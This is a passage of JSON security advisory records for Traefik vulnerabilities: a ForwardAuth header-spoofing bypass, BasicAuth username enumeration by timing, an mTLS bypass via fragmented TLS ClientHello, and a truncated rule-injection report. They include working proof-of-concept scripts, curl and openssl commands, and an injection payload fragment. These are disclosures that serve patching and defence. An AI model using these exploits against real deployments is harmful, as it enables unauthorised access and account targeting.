\"$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro\" \\\n  nginx:alpine\n```\n\n6. Send three requests:\n\nDirect to Traefik, spoofed header:\n```bash\ncurl -sS -i \\\n  -H 'Host: app.local' \\\n  -H 'X-Forwarded-Prefix: /admin' \\\n  http://127.0.0.1:18081/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, no spoofing:\n```bash\ncurl -sS -i \\\n  -H 'Host: app.local' \\\n  http://127.0.0.1:18080/forbidden/test\n```\n\nExpected result:\n```http\nHTTP/1.1 403 Forbidden\n...\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"]}\n```\n\nThrough trusted proxy, spoofed header:\n```bash\ncurl -sS -i \\\n  -H 'Host: app.local' \\\n  -H 'X-Forwarded-Prefix: /admin' \\\n  http://127.0.0.1:18080/forbidden/test\n```\n\nObserved result:\n```http\nHTTP/1.1 200 OK\n...\nX-Auth-All-Prefixes: /admin|/forbidden\nX-Auth-First-Prefix: /admin\nX-Forwarded-Prefix: /admin\nX-Forwarded-Prefix: /forbidden\n```\n\nThe backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.\n\n7. Optional log confirmation from the auth service:\n\n```bash\ndocker logs traefik-readme-auth\n```\n\nObserved log sequence:\n```json\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/forbidden\", \"all_prefixes\": [\"/forbidden\"], ...}\n{\"path\": \"/check\", \"first_prefix\": \"/admin\", \"all_prefixes\": [\"/admin\", \"/forbidden\"], ...}\n```\n\n8. Cleanup:\n\n```bash\ndocker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend\ndocker network rm traefik-readme-net\n```\n\n### Impact\nThis is an authentication bypass / trust-boundary bypass.\n\nAffected deployments are those that:\n\n- run Traefik behind a trusted upstream proxy\n- use `ForwardAuth`\n- rely on `trustForwardHeader=false` to avoid trusting client-supplied forwarded headers\n- pass `X-Forwarded-Prefix` to the auth service, which happens by default when `authRequestHeaders` is empty\n- make authorization or routing decisions based on `X-Forwarded-Prefix`, especially when `StripPrefix` runs before `ForwardAuth`\nIn those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.\n\n\u003c/details\u003e\n\n----","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-24T16:31:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-6384-m2mw-rf54","https://github.com/traefik/traefik/releases/tag/v2.11.43","https://github.com/traefik/traefik/releases/tag/v3.6.14","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","https://nvd.nist.gov/vuln/detail/CVE-2026-35051","https://github.com/advisories/GHSA-6384-m2mw-rf54"],"source_kind":"github","identifiers":["GHSA-6384-m2mw-rf54","CVE-2026-35051"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T17:00:08.924Z","updated_at":"2026-10-12T12:05:14.957Z","epss_percentage":0.00309,"epss_percentile":0.21534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Mzg0LW0ybXctcmY1NM4ABVw6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Mzg0LW0ybXctcmY1NM4ABVw6","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.43","vulnerable_version_range":"\u003c 2.11.43"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.14","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.6.14"},{"first_patched_version":"3.7.0-rc.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-rc.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Mzg0LW0ybXctcmY1NM4ABVw6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nM2hnLWo0anYtY3dmcs4ABT6k","url":"https://github.com/advisories/GHSA-g3hg-j4jv-cwfr","title":"Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration","description":"## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: basicauth\n  namespace: traefik-poc\nspec:\n  basicAuth:\n    secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: test-basicauth\n  annotations:\n    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n  ingressClassName: traefik\n  rules:\n    - http:\n        paths:\n          - path: /protected\n            pathType: Prefix\n            backend:\n              service:\n                name: whoami\n                port:\n                  number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n    times = []\n    for _ in range(SAMPLES):\n        start = time.perf_counter()\n        requests.get(TARGET, auth=(username, password), timeout=5)\n        elapsed = time.perf_counter() - start\n        times.append(elapsed)\n    return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n    median = measure_time(user)\n    if median \u003e 0.05:  # bcrypt threshold\n        status = \"[+] EXISTS (slow - bcrypt verification)\"\n    else:\n        status = \"[-] NOT FOUND (fast - immediate return)\"\n    print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n  - Attackers can enumerate valid usernames without authentication\n  - Enables targeted password brute-force attacks against confirmed accounts\n  - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n  - BasicAuth middleware enabled\n  - Attacker able to make requests to protected endpoints\n  - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-20T15:43:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr","https://nvd.nist.gov/vuln/detail/CVE-2026-32595","https://github.com/traefik/traefik/releases/tag/v2.11.41","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2","https://github.com/advisories/GHSA-g3hg-j4jv-cwfr"],"source_kind":"github","identifiers":["GHSA-g3hg-j4jv-cwfr","CVE-2026-32595"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T16:00:10.596Z","updated_at":"2026-10-17T07:10:00.012Z","epss_percentage":0.00381,"epss_percentile":0.30521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2hnLWo0anYtY3dmcs4ABT6k","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nM2hnLWo0anYtY3dmcs4ABT6k","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.7.0-ea.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-ea.2"},{"first_patched_version":"3.6.11","vulnerable_version_range":"\u003c= 3.6.10"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.41","vulnerable_version_range":"\u003c= 2.11.40"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2hnLWo0anYtY3dmcs4ABT6k/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13dnZxLXdnY3ItOXE0OM4ABT6j","url":"https://github.com/advisories/GHSA-wvvq-wgcr-9q48","title":"Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config","description":"## Summary\n\nThere is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.\n\nWhen a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nI found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.\n\nIf the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).\n\n### Details\nThe vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.\n\n1. In router.go, ServeTCP function calls clientHelloInfo.\n2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes.\nIt runs a temporary TLS parse on those bytes to extract the SNI.\nIf ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).\n4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)\n5. Real Go TLS handshake succeeds later without requiring the client cert.\n6. Request is routed to the host that should have been protected.\n\nConditions required for impact:\n- Route-level TLS options enforce mTLS for a host.\n- Default TLS config is weaker (noClientCert, which is the default default).\n- Pre-sniff fails to extract SNI (due to fragmented ClientHello).\n\nA workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).\n\nA suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).\n\n### PoC\n```python\n# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with \"docker\" instead of docker.io and podman will emulate it)\nsudo apt update\nsudo apt install -y docker.io openssl git python3 python3-venv\nsudo usermod -aG docker \"$USER\"\n# in debian/ubuntu run newgrp docker to apply the new group to the user\n\nmkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}\ncd /tmp/traefik-frag-poc\n\n# CA\nopenssl genrsa -out certs/ca.key 4096\nopenssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \\\n  -subj \"/CN=PoC-CA\" -out certs/ca.crt\n\n# Server cert (whoami.home.arpa)\ncat \u003e certs/server.cnf \u003c\u003c'EOF_SERVER_CNF'\n[req]\ndistinguished_name = dn\nreq_extensions = v3_req\nprompt = no\n\n[dn]\nCN = whoami.home.arpa\n\n[v3_req]\nsubjectAltName = @alt_names\n\n[alt_names]\nDNS.1 = whoami.home.arpa\nEOF_SERVER_CNF\n\nopenssl genrsa -out certs/traefik.key 2048\nopenssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf\nopenssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n  -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf\n\n# Client cert (valid client)\nopenssl genrsa -out certs/client.key 2048\nopenssl req -new -key certs/client.key -subj \"/CN=client1\" -out certs/client.csr\nopenssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\n  -out certs/client.crt -days 365 -sha256\n\ncat \u003e config/traefik.yml \u003c\u003c'EOF_TRAEFIK_CFG'\nentryPoints:\n  websecure:\n    address: \":8443\"\n\nproviders:\n  file:\n    directory: /etc/traefik/dynamic\n    watch: true\n\nlog:\n  level: DEBUG\nEOF_TRAEFIK_CFG\n\ncat \u003e config/dynamic/dynamic.yml \u003c\u003c'EOF_DYNAMIC_CFG'\nhttp:\n  routers:\n    whoami:\n      rule: \"Host(`whoami.home.arpa`)\"\n      entryPoints:\n        - websecure\n      service: whoami\n      tls:\n        options: mtls\n\n  services:\n    whoami:\n      loadBalancer:\n        servers:\n          - url: \"http://whoami:80\"\n\ntls:\n  certificates:\n    - certFile: /certs/traefik.crt\n      keyFile: /certs/traefik.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\nEOF_DYNAMIC_CFG\n\ndocker network create traefik-poc\n\n\n# run a whoami microservice for the bypass demonstration\ndocker run -d \\\n  --name whoami \\\n  --network traefik-poc \\\n  --restart unless-stopped \\\n  traefik/whoami:v1.11.0\n\ndocker run -d \\\n  --name traefik \\\n  --network traefik-poc \\\n  -p 8443:8443 \\\n  --restart unless-stopped \\\n  -v \"$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z\" \\\n  -v \"$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z\" \\\n  -v \"$PWD/certs:/certs:ro,Z\" \\\n  traefik:3.6.10 \\\n  --configFile=/etc/traefik/traefik.yml\n\n# watch traefik logs to ensure everything was deployed correctly\ndocker logs traefik\n\n# tlsfuzzer setup + frag client script\n\nmkdir -p /tmp/testtlsfuzz\ncd /tmp/testtlsfuzz\ngit clone https://github.com/tlsfuzzer/tlsfuzzer.git\ncd tlsfuzzer\n\npython3 -m venv .venv\nsource .venv/bin/activate\npip install -r requirements.txt\n\ncat \u003e frag_clienthello.py \u003c\u003c'EOF_FRAG_SCRIPT'\nimport argparse\nimport sys\nimport os\n\nfrom tlsfuzzer.runner import Runner\nfrom tlsfuzzer.messages import (\n    Connect,\n    SetMaxRecordSize,\n    ClientHelloGenerator,\n    CertificateGenerator,\n    CertificateVerifyGenerator,\n    ClientKeyExchangeGenerator,\n    ChangeCipherSpecGenerator,\n    FinishedGenerator,\n    ApplicationDataGenerator,\n    AlertGenerator,\n)\nfrom tlsfuzzer.expect import (\n    ExpectServerHello,\n    ExpectCertificate,\n    ExpectServerKeyExchange,\n    ExpectCertificateRequest,\n    ExpectServerHelloDone,\n    ExpectChangeCipherSpec,\n    ExpectFinished,\n    ExpectApplicationData,\n    ExpectAlert,\n    ExpectClose,\n)\nfrom tlsfuzzer.helpers import SIG_ALL\nfrom tlslite.constants import (\n    CipherSuite,\n    ExtensionType,\n    AlertLevel,\n    AlertDescription,\n    GroupName,\n)\nfrom tlslite.extensions import (\n    SNIExtension,\n    TLSExtension,\n    SupportedGroupsExtension,\n    SignatureAlgorithmsExtension,\n    SignatureAlgorithmsCertExtension,\n)\nfrom tlslite.utils.keyfactory import parsePEMKey\nfrom tlslite.x509 import X509\nfrom tlslite.x509certchain import X509CertChain\n\n\nclass PrettyExpectApplicationData(ExpectApplicationData):\n    def process(self, state, msg):\n        super().process(state, msg)\n        text = msg.write().decode(\"utf-8\", errors=\"replace\")\n        head, _, body = text.partition(\"\\r\\n\\r\\n\")\n        print(\"\\n=== HTTP RESPONSE ===\")\n        print(head)\n        print()\n        print(body)\n        print(\"=== END HTTP RESPONSE ===\\n\")\n\n\ndef load_client_cert_and_key(cert_path, key_path):\n    cert = None\n    key = None\n\n    if cert_path:\n        text_cert = open(cert_path, \"rb\").read()\n        if sys.version_info[0] \u003e= 3:\n            text_cert = str(text_cert, \"utf-8\")\n        cert = X509()\n        cert.parse(text_cert)\n\n    if key_path:\n        text_key = open(key_path, \"rb\").read()\n        if sys.version_info[0] \u003e= 3:\n            text_key = str(text_key, \"utf-8\")\n        key = parsePEMKey(text_key, private=True)\n\n    return cert, key\n\n\ndef main():\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--connect-host\", default=\"127.0.0.1\")\n    p.add_argument(\"--port\", type=int, default=8443)\n    p.add_argument(\"--sni\", default=\"whoami.home.arpa\")\n    p.add_argument(\"--record-size\", type=int, default=512)\n    p.add_argument(\"--padding-len\", type=int, default=1200)\n    p.add_argument(\"--expect-cert-request\", action=\"store_true\")\n    p.add_argument(\"--client-cert-pem\", default=\"\")\n    p.add_argument(\"--client-key-pem\", default=\"\")\n    args = p.parse_args()\n\n    cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)\n\n    print(f\"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}\")\n    for p in [args.client_cert_pem, args.client_key_pem]:\n        if p:\n            print(f\"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}\")\n\n    print(f\"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}\")\n    print(f\"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}\")\n\n\n    if (args.client_cert_pem or args.client_key_pem) and not (cert and key):\n        raise ValueError(\"Provide both --client-cert-pem and --client-key-pem\")\n\n    conv = Connect(args.connect_host, args.port)\n    node = conv\n    node = node.add_child(SetMaxRecordSize(args.record_size))\n\n    ext = {\n        ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, \"ascii\")),\n        ExtensionType.supported_groups: SupportedGroupsExtension().create(\n            [GroupName.secp256r1, GroupName.ffdhe2048]\n        ),\n        ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL),\n        ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL),\n        21: TLSExtension().create(21, bytearray(args.padding_len)),\n    }\n\n    ciphers = [\n        CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n        CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\n        CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA,\n        CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV,\n    ]\n\n    node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext))\n    node = node.add_child(ExpectServerHello())\n    node = node.add_child(ExpectCertificate())\n    node = node.add_child(ExpectServerKeyExchange())\n\n    if args.expect_cert_request:\n        node = node.add_child(ExpectCertificateRequest())\n\n    node = node.add_child(ExpectServerHelloDone())\n\n    if args.expect_cert_request and cert and key:\n        node = node.add_child(CertificateGenerator(X509CertChain([cert])))\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(CertificateVerifyGenerator(key))\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n        req = bytearray(\n            f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n        )\n        node = node.add_child(ApplicationDataGenerator(req))\n        node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n        node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n        node = node.add_child(ExpectAlert())\n        node.next_sibling = ExpectClose()\n\n    elif args.expect_cert_request and not (cert and key):\n        node = node.add_child(CertificateGenerator())\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n\n    else:\n        node = node.add_child(ClientKeyExchangeGenerator())\n        node = node.add_child(ChangeCipherSpecGenerator())\n        node = node.add_child(FinishedGenerator())\n        node = node.add_child(ExpectChangeCipherSpec())\n        node = node.add_child(ExpectFinished())\n        req = bytearray(\n            f\"GET / HTTP/1.1\\r\\nHost: {args.sni}\\r\\nConnection: close\\r\\n\\r\\n\".encode(\"ascii\")\n        )\n        node = node.add_child(ApplicationDataGenerator(req))\n        node = node.add_child(PrettyExpectApplicationData(output=sys.stdout))\n        node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify))\n        node = node.add_child(ExpectAlert())\n        node.next_sibling = ExpectClose()\n\n    try:\n        Runner(conv).run()\n        print(\"[OK] conversation completed\")\n    except AssertionError as e:\n        print(f\"[TLS RAW ERROR] {e}\")\n        marker = \"Unexpected message from peer: \"\n        s = str(e)\n        if marker in s:\n            print(f\"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}\")\n        raise\n\n\nif __name__ == \"__main__\":\n    main()\nEOF_FRAG_SCRIPT\n\nchmod +x frag_clienthello.py\ncd /tmp/testtlsfuzz/tlsfuzzer\nsource .venv/bin/activate\n\n# case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate)\npython frag_clienthello.py \\\n  --connect-host 127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 16384 \\\n  --expect-cert-request\n\n# case 1b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client \\\n  -connect 127.0.0.1:8443 \\\n  -servername whoami.home.arpa \\\n  -tls1_2 \\\n  -CAfile /tmp/traefik-frag-poc/certs/ca.crt \\\n  -state -msg -tlsextdebug -verify_return_error\n\n\n# case 2: non fragmented, with valid client cert (should succeed) \npython frag_clienthello.py \\\n  --connect-host 127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 16384 \\\n  --expect-cert-request \\\n  --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \\\n  --client-key-pem /tmp/traefik-frag-poc/certs/client.key\n\n# case 2b with openssl instead of my script\nprintf 'GET / HTTP/1.1\\r\\nHost: whoami.home.arpa\\r\\nConnection: close\\r\\n\\r\\n' | \\\nopenssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \\\n  -cert /tmp/traefik-frag-poc/certs/client.crt \\\n  -key /tmp/traefik-frag-poc/certs/client.key \\\n  -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet\n\n# case 3 fragmented ClientHello, no client cert (bypass behavior test)\npython frag_clienthello.py \\\n  --connect-host 127.0.0.1 \\\n  --port 8443 \\\n  --sni whoami.home.arpa \\\n  --record-size 500\n# in the record-size you can play with it as long as the client hello sni sniff function returns an EOF\n```\n\n### Impact\nAn attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.\n\n\u003c/details\u003e\n\n--","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-20T15:43:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-wvvq-wgcr-9q48","https://nvd.nist.gov/vuln/detail/CVE-2026-32305","https://github.com/traefik/traefik/releases/tag/v2.11.41","https://github.com/traefik/traefik/releases/tag/v3.6.11","https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2","https://github.com/advisories/GHSA-wvvq-wgcr-9q48"],"source_kind":"github","identifiers":["GHSA-wvvq-wgcr-9q48","CVE-2026-32305"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T16:00:10.596Z","updated_at":"2026-10-17T07:10:00.014Z","epss_percentage":0.00473,"epss_percentile":0.39507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnZxLXdnY3ItOXE0OM4ABT6j","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dnZxLXdnY3ItOXE0OM4ABT6j","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.41","vulnerable_version_range":"\u003c= 2.11.40"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.11","vulnerable_version_range":"\u003c= 3.6.10"},{"first_patched_version":"3.7.0-ea.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-ea.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnZxLXdnY3ItOXE0OM4ABT6j/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cTJ3LXdyNDktd2hxas4ABTer","url":"https://github.com/advisories/GHSA-8q2w-wr49-whqj","title":"Traefik: kubernetes gateway rule injection via unescaped backticks in HTTPRoute match values","description":"## Summary\n\nThere is a potential vulnerability in Traefik's Kubernetes Gateway provider related to rule injection.\n\nA tenant with write access to an HTTPRoute resource can inject backtick-delimited rule tokens into Traefik's router rule language via unsanitized header or query parameter match values. In shared gateway deployments, this can bypass listener hostname constraints and redirect traffic for victim hostnames to attacker-controlled backends.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\nhey Traefik,\n\n\nrepo: https://github.com/traefik/traefik\ncommit: a4a91344edcdd6276c1b766ca19ee3f0e346480f (as-of 2026-03-02)\n\ntraefik's kubernetes gateway provider builds router rules by interpolating HTTPRoute match values into the traefik rule language using backtick-delimited string literals (e.g., `Header(`name`,`value`)`, `Query(`name`,`value`)`) without escaping or validation.\n\nbecause backtick is a delimiter in the rule language, a tenant-controlled backtick can terminate the literal and inject additional rule tokens (for example `) || HostRegexp(`.\\*`) || ...`). this changes the parsed ast so that an injected OR branch is not gated by the intended `Host(...)` constraint due to operator precedence, and can result in end-to-end routing hijack (victim host routed to attacker backends).\n\nin shared gateway deployments that rely on gateway API listener hostname constraints to isolate tenants, this can enable cross-tenant routing hijack to attacker-controlled backends.\n\n## expected vs actual\n\nexpected: provider-generated rules must be injection-safe; tenant-controlled match values must not be able to change the rule parse 